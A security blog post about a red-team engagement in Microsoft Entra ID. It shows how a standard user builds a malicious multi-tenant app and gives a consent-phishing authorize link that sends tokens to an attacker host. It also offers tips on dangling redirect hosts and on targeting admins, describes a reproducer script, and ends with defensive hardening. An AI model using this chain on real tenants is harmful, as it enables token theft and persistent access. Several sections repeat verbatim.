Entra ID User App Config Abuse
When you hunt for vulnerabilities long enough, you keep tripping over abuses hiding in plain sight. Some have been quietly farmed for years while others spill out of fresh features and rushed integrations. This piece lives in that messy middle, past the shiny CVEs and into the forgotten misconfigurations, broken trust boundaries, and logic slips that attackers turn into real damage.
This work stemmed from my research into vulnerabilities in Entra Agent ID and consent. The full details will drop after Microsoft ships the fixes.
The engagement started with a single set of standard user credentials, nothing more, with just one account, handed over by the client as the baseline access point for the assessment, sitting in a tenant that had never bothered flipping ‘allowedToCreateApps‘ to false. That default has sat untouched since the day the tenant was provisioned, buried three levels deep in the authorization policy blade, and no one on the client side has revisited it since onboarding.
Note: This misconfig has been public for more than a decade, but many tenants still run it unhardened.
Here’s how the engagement unfolded, what that one account handed over, how far it carried the operation, and the exact API call where the payoff ran out.
Inspect the account state before changes
The first move, before touching anything else, was to verify that the account actually had the access level the client claimed it did. A quick ‘GET /me?$select=id,userPrincipalName‘ confirmed the object ID and UPN, then a follow-up query against ‘transitiveMemberOf/microsoft.graph.directoryRole’ returned an empty array.
That account wasn’t a misconfiguration somebody had forgotten to lock down. That’s baseline standing access in the overwhelming majority of tenants encountered on engagements like this one, and it’s worth internalizing that fact before anything else, because everything downstream depends entirely on Entra treating “app owner” and “privileged user” as unrelated concepts.
Assembling the app object
A single POST /applications call puts an app object in that account’s ownership outright, no consent prompt, no approval workflow, just a 201 Created and an appId back in the response body. POST /servicePrincipals creates a service principal at no extra permission cost, bundled automatically with app ownership.
Since the Microsoft Graph SDK never checks whether the caller holds any application-management role before allowing the owner to instantiate the principal for their own object. Every PATCH thrown at the object after that returned a clean 200.
Setting signInAudience to ‘AzureADandPersonalMicrosoftAccounts‘ pushed the hosting radius to the maximum Entra allows, past the tenant boundary and past the “any organization” boundary in one move, so any work account in any tenant on the planet, or any personal Microsoft account authenticating through the consumer login.live.com backend, could authenticate against the app from that point forward.
Pointing web.redirectUris and spa.redirectUris at infrastructure under my control went through with zero ownership verification because Entra accepted whatever host was supplied in the PATCH body, without so much as a DNS lookup or a check of a well-known file.
Note: no privilege required.
The Core of the Operation
Flipping ‘implicitGrantSettings‘ on for both access and ID tokens was the centerpiece of the whole build, technically and operationally.
Under the OAuth 2.0 implicit grant, the authorization server returns the token directly in the fragment portion of the redirect URI rather than issuing a short-lived authorization code that gets exchanged server-side.
That fragment never gets sent to the server in an HTTP request, which is the original design rationale for the flow, but it also means any script running on the redirect page, any browser extension with page-content access, and any proxy sitting inline on that connection can read the token straight out of window.location.hash.
Decoding the resulting JWT with the header stripped off and the payload base64-decoded shows exactly what you’d expect in the claims: aud set to Microsoft Graph’s resource URI, tid matching the target tenant, upn carrying the signed-in user’s principal name if the optional claim got configured, and scp listing whatever delegated scopes the consent actually covered. Getting the link clicked was the only remaining requirement to put a live token in hand.
Weaponizing Claims, Scopes, and Roles
Layering optionalClaims to pull groups into the access token and upn into the id token, with ‘groupMembershipClaims’ set to All, made the token disclose which security groups and directory roles a target belongs to before any real grant occurred. Loading ‘requiredResourceAccess‘ with ‘Directory.Read.All' and ‘User.Read.All' as application permissions, referencing Microsoft Graph’s well-known ‘00000003-0000-0000-c000-000000000000′ application ID directly by GUID, put in a standing request to read the entire directory with no user in the loop, betting somebody upstream would rubber-stamp it later during an admin-consent review that skims past the permission list instead of reading it line by line.
Defining a custom appRoles entry named ‘Admin.All‘, with ‘allowedMemberTypes‘ set to both User and Application so it could be assigned to either a compromised account or a compromised workload identity, and then attempting to assign that role to every Global Administrator enumerable through the app’s own service principal via ‘appRoleAssignedTo‘, costs nothing to attempt and occasionally succeeds on tenants with looser role hygiene. Arming two independent paths back into the tenant closed out the build phase: a client secret minted through addPassword, and a federated identity credential that trusts a GitHub Actions OIDC issuer, authenticates without any secret at all, and leaves no password credential for a defender to find during a credential audit.
That’s a complete staging kit assembled in a single afternoon with a spoofable sign-in audience, an attacker-controlled redirect, a live implicit grant, standing requests for high-privilege application scopes, a self-defined administrative role, and two working credential paths, all built by an account holding nothing more than the standing of someone on their first Monday at the company. None of it required an elevated permission at any point in the chain. It required only an app the account owned outright and Graph’s default trust in whoever created it, which turns out to be a remarkably generous trust relationship once you go looking for its edges.
Where config becomes live bait
The next phase would have been delivery, and it works exactly where the target actually receives it, which is the part that red teams get wrong when they treat OAuth abuse as a purely technical exercise rather than a social one. Register the app under infrastructure you control, behind a redirector that terminates TLS with a certificate matching the pretext domain, name the app something that blends into the environment, and push a consent link built around the standard v2.0 authorize endpoint: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<app>&response_type=id_token+token& redirect_uri=<attacker-host>&scope=openid+profile+User.Read&nonce=<random>&state=<random>.
Using common instead of the target tenant ID lets any account, work or personal, land on the same consent screen, which matters when you don’t know in advance which identity a given recipient will use to click through. The target clicks through, sees a consent screen listing only the scopes that were actually granted, rather than the full wishlist requested in the manifest, and consents.
The implicit grant fires the token straight to your redirect host inside the URL fragment on the very next redirect, no exchange step to intercept and no secret needed to receive it, landing in whatever logging or capture mechanism sits behind the redirector. Had the requested scope actually been granted at the admin level at that moment, rather than falling back to the low-risk default, the resulting token would have carried ‘Directory.Read.All’ privileges are entirely independent of whatever access the phished user held, granting a foothold with considerably more reach than the person who clicked the link, and one that survives the original user changing their password, since the grant lives on the service principal, not on the user’s credential.
Where the payoff runs out
That grant is where the operation stopped paying off, and it’s worth being precise about the boundary because sloppy engagements get this wrong in both directions, either overclaiming a critical finding or dismissing the whole exercise as noise. Everything before it- the build, the redirect, the implicit grant, the scope requests- sat inside a standard user’s reach, verified live at every single step against the actual tenant rather than assumed from documentation.
The grant itself did not follow. Closing that gap requires one of two things, and a zero-role account operating solo produces neither.
The first is a redirect host left dangling somewhere in the target’s DNS, a stale subdomain still pointed at a decommissioned Azure App Service slot or an expired third-party SaaS CNAME you can claim and stand infrastructure up behind, which belongs to a separate reconnaissance effort, runs on a completely different bug class, and deserves its own writeup.
The second is an administrator who walks through an admin-consent prompt, sees the requested application permissions listed plainly on the consent screen, and approves them anyway because the app name looked legitimate and the request came through a normal-looking email thread, rather than raising suspicion.
Mapping Consent Path Graph Exposes
Taking “admin consent blocks this” on faith is how an engagement misses the one Tenant where it quietly doesn’t. So every consent surface Graph exposed was tested against this account methodically, one request per scope, rather than stopping at the first denial and assuming the rest would behave the same way.
| Attempt | Scope requested | Result |
| Self-consent, delegated (consentType=Principal) | User.Read | 200, granted |
| Self-consent, delegated | Mail.Read | 403 Authorization_RequestDenied |
| Self-consent, delegated | Directory.Read.All | 403 |
| Admin consent (consentType=AllPrincipals) | User.Read, the lowest scope that exists, tenant-wide | 403 |
| Admin consent (AllPrincipals) | Directory.Read.All | 403 |
| Application permission (appRoleAssignments) | User.Read.All | 403 |
| Application permission | Directory.Read.All | 403 |
Look hard at that admin-consent row on ‘User.Read’. Every account already holds that scope implicitly the moment they authenticate to any Microsoft 365 workload. It’s the lowest-risk permission anywhere in the Graph model, granting nothing beyond reading one’s own profile object, and it still returned a clean 403 when this zero-role account attempted to grant it tenant-wide through the AllPrincipals consent type.
No scope was small enough to slip through on the theory that it’s essentially harmless. The gate checks directory role, full stop, not how innocuous a permission looks on paper, and it did not negotiate on a single one of the seven attempts logged above, whether the target was a delegated scope, an admin-wide grant, or an application role assignment.
The final position after every configuration change and every consent path ran through: one grant, ‘User.Read’, delegated, self, scoped to the account’s own principal ID, zero application permissions anywhere on the object, zero tenant-wide grants of any kind. The fully armed app built over the course of that afternoon, multi-tenant, credential-bearing through two independent methods, requesting the entire directory in its manifest, reading its own owner’s profile, and nothing further. That’s the ceiling on this path run alone, and it’s the line the final report to the client had to draw honestly rather than inflate into something it wasn’t.
The next time you land here
Here’s what to do with that the next time an engagement lands you in the same starting position. The build phase costs nothing every time, since allowedToCreateApps defaults to open in most tenants encountered in the field, so spend zero effort re-proving the build works and put full attention into the two things that actually close the chain.
Find the dangling redirect host first: stale subdomains still resolving in passive DNS records, decommissioned Azure App Service slots, forgotten CNAMEs pointed at SaaS platforms the organization stopped paying for, anything a target once pointed a redirect URI toward and never cleaned up gives you a live bypass that never touches admin consent at all, because the redirect URI restriction only checks that the host is registered on the app, not that the operator behind that host is who they claim to be.
Map who genuinely holds admin-consent rights in the target tenant next, and check whether any of those individuals click through a consent prompt without reading the requested scopes. That’s a social-engineering target, not a technical one, and it’s usually considerably softer than the API wall you just hit across seven separate consent paths.
That wall doesn’t move regardless of how the request gets shaped or which endpoint it comes through. Admin consent on the lowest possible scope, applied tenant-wide, is gated by directory role, not by perceived risk or scope sensitivity, and a zero-role account cannot circumvent it via the Graph API, the Azure AD PowerShell module, or any beta consent surface. Put your time into the redirect host and the human holding the consent button. Those are the two things that actually move, and every hour spent trying to find a gap in the consent model itself is an hour not spent on the parts of the chain that are genuinely still open.
Flipping to the Defensive Side
Now flip to the side to try to stop this from happening in the first place. The entire operation above runs on one default that most tenants never revisit after initial provisioning. Close it, and the staging phase never begins, full stop. Check ‘allowedToCreateApps’ right now under the tenant’s authorization policy; it’s almost certainly still set to true.
A single PATCH to 'policies/authorizationPolicy' disables app creation for standard users across the entire tenant and kills the free service principal along with the ability to PATCH a redirect URI into place at will, closing off the whole build phase in one policy change that breaks nothing for legitimate developers who already go through an app registration request process.
Restrict user consent to verified publishers only, or remove user consent entirely and route every request through an admin-consent workflow with a real reviewer attached who actually reads the scope list instead of clicking approve on autopilot. That closes the one grant path that actually succeeded throughout this entire engagement, and without it, the app remains inert permanently, no matter how elaborately it is configured afterward.
Alert on the combination of events rather than any single one in isolation: a signInAudience shift to a multi-tenant or Microsoft-account value on a freshly created service principal, occurring in the same session as an external, non-tenant-domain redirect URI being added, means nothing alarming in isolation but has no legitimate explanation coming from a standard user account with no application-development history. That combination is the clearest precursor signal this engagement produced.
Audit dangling redirect hosts against DNS you still control on a recurring quarterly cycle, not once during a one-time cleanup sprint, before someone outside the organization finds them first. And if you hold the admin-consent button yourself, read the requested scope list on every single prompt before you approve anything, regardless of how legitimate the app name and publisher domain appear. That line item is the entire perimeter standing between this attack path and a working compromise, and it only fails the moment a human skips past it without reading what the application is actually asking to do.
What to do next time you land here
Here’s what to do with that the next time an engagement lands you in the same starting position. The build phase costs nothing every time, since allowedToCreateApps defaults to open in most tenants encountered in the field, so spend zero effort re-proving the build works and put full attention into the two things that actually close the chain.
Find the dangling redirect host first: stale subdomains still resolving in passive DNS records, decommissioned Azure App Service slots, forgotten CNAMEs pointed at SaaS platforms the organization stopped paying for, anything a target once pointed a redirect URI toward and never cleaned up gives you a live bypass that never touches admin consent at all, because the redirect URI restriction only checks that the host is registered on the app, not that the operator behind that host is who they claim to be.
Map who genuinely holds admin-consent rights in the target tenant next, and check whether any of those individuals click through a consent prompt without reading the requested scopes. That’s a social-engineering target, not a technical one, and it’s usually considerably softer than the API wall you just hit across seven separate consent paths.
That wall doesn’t move regardless of how the request gets shaped or which endpoint it comes through. Admin consent on the lowest possible scope, applied tenant-wide, is gated by directory role, not by perceived risk or scope sensitivity, and a zero-role account cannot circumvent it via the Graph API, the Azure AD PowerShell module, or any beta consent surface.
Put your time into the redirect host and the human holding the consent button. Those are the two things that actually move, and every hour spent trying to find a gap in the consent model itself is an hour not spent on the parts of the chain that are genuinely still open.
The Reproducer
None of the above needs to be run by hand every time, and running it by hand once is exactly how the reproducer came together. The whole chain lives in a single Python file, with no dependencies beyond the standard library, because the fewer packages an engagement drags onto a client-adjacent laptop, the fewer questions get asked later. It takes a UPN or a tenant identifier on the command line and does everything described above end-to-end, printing an HTTP status code and an error code next to every single call so nothing gets lost in a wall of JSON.
Authentication runs through the device-code flow against the well-known ‘xxxxxx-xxxxxx-xxxxx-xxe8-296a70dab67e’ public client, the one Microsoft ships pre-consented in effectively every tenant under the name “Microsoft Graph Command Line Tools.” That matters operationally: no app registration of your own to burn, no client secret to protect, and a login flow that plays nicely with MFA since the user completes it themselves in a real browser session.
The script prints the device code and URL, polls the token endpoint at the interval Entra hands back, and, once a token lands, immediately calls '/me' and '/me/transitiveMemberOf/microsoft.graph'. ‘directoryRole’ to print exactly who signed in and what roles they hold, because trusting a login hint without verifying the actual signed-in principal is how engagements confuse one account for another.
Link to the AppConfAbuse simulation script
From there, it runs the six phases straight through.
Phase one creates the app and service principal.
Phase two walks a list of PATCH bodies across both the application object and the service principal, covering every config item described earlier: multi-tenant signInAudience, attacker redirect URIs on web, spa, and publicClient, implicit grant flags, ‘groupMembershipClaims’, optional claims, the ‘Directory.Read.All’ and ‘User.Read.All’ application permission requests keyed against Microsoft Graph’s static ‘00000003-0000-0000- c000-000000000000 ‘app ID, a custom ‘Admin.All’ app role, and the SAML and SSO fields on the service principal side for good measure.
Phase three mints the client secret and the federated identity credential.
Phase four enumerates every Global Administrator through ‘directoryRoles(roleTemplateId=’62e90394-69f5-4237-9190- 012177145e10′)/members’ and attempts an appRoleAssignedTo for each one, falling back to a default-access assignment if the privileged role assignment gets denied, so the run captures both outcomes without stopping.
Phase five is the consent exhaustion table from earlier, run automatically rather than by hand, with self-consent, admin-consent, application permissions, and then a pull of every user-consentable delegated scope the tenant exposes, granted or widened onto the existing self-consent grant in one call.
Phase six reads back the effective delegated grants, effective application permissions, and everyone assigned to the enterprise app, and writes the entire result to 'run_artifacts.json' next to the console output.
The app and service principal it creates are left in place on purpose rather than cleaned up automatically, because a reproducer that tears down its own evidence isn’t much use to whoever reviews the run afterward. Cleanup is one manual deletion away, and the script says so in its own output. Run it against a new tenant, and the six-phase printout is the fastest way to get the same table of 403s and one lonely ‘User.Read‘ grant that this whole writeup is built around, without retyping a single Graph call by hand.
The Result on the Enra ID console from the Admin view.
Flipping to the defensive side
Now flip to the side to try to stop this from happening in the first place. The entire operation above runs on one default that most tenants never revisit after initial provisioning. Close it, and the staging phase never begins, full stop. Check ‘allowedToCreateApps‘ right now under the tenant’s authorization policy; it’s almost certainly still set to true.
A single PATCH to policies/authorizationPolicy disables app creation for standard users across the entire tenant and kills the free service principal along with the ability to PATCH a redirect URI into place at will, closing off the whole build phase in one policy change that breaks nothing for legitimate developers who already go through an app registration request process.
Restrict user consent to verified publishers only, or remove user consent entirely and route every request through an admin-consent workflow with a real reviewer attached who actually reads the scope list instead of clicking approve on autopilot. That closes the one grant path that actually succeeded throughout this entire engagement, and without it, the app remains inert permanently, no matter how elaborately it is configured afterward.
Alert on the combination of events rather than any single one in isolation: a signInAudience shift to a multi-tenant or Microsoft-account value on a freshly created service principal, occurring in the same session as an external, non-tenant-domain redirect URI being added, means nothing alarming in isolation but has no legitimate explanation coming from a standard user account with no application-development history. That combination is the clearest precursor signal this engagement produced.
Audit dangling redirect hosts against DNS you still control on a recurring quarterly cycle, not once during a one-time cleanup sprint, before someone outside the organization finds them first. And if you hold the admin-consent button yourself, read the requested scope list on every single prompt before you approve anything, regardless of how legitimate the app name and publisher domain appear.
That line item is the entire perimeter standing between this attack path and a working compromise, and it only fails the moment a human skips past it without reading what the application is actually asking to do.
When you step back from the mechanics, the shape of the risk is simple. A single standard user in a tenant that still lets users register applications can turn Entra into an attacker platform. By creating and shaping one app object, the user can wire up redirect URLs they control, request aggressive graph permissions, and attach long-lived credentials. Once any victim clicks through the consent experience, that configuration becomes a standing backdoor. Tokens keep flowing, refresh tokens keep rolling, and the app sits there in the directory as a trusted enterprise application.
What about detection, hunting, and log evidence? In the next post, some operations are not documented or visible in the logs.
Explore more posts on Cyberdom
More tools, scripts, and simulations in the Cloud Security Toolkit
More updates and security geeks on https://x.com/ellishlomo or https://www.linkedin.com/in/elishlomo/









1 Response
[…] Cyberdom Entra ID User App Config Abuse […]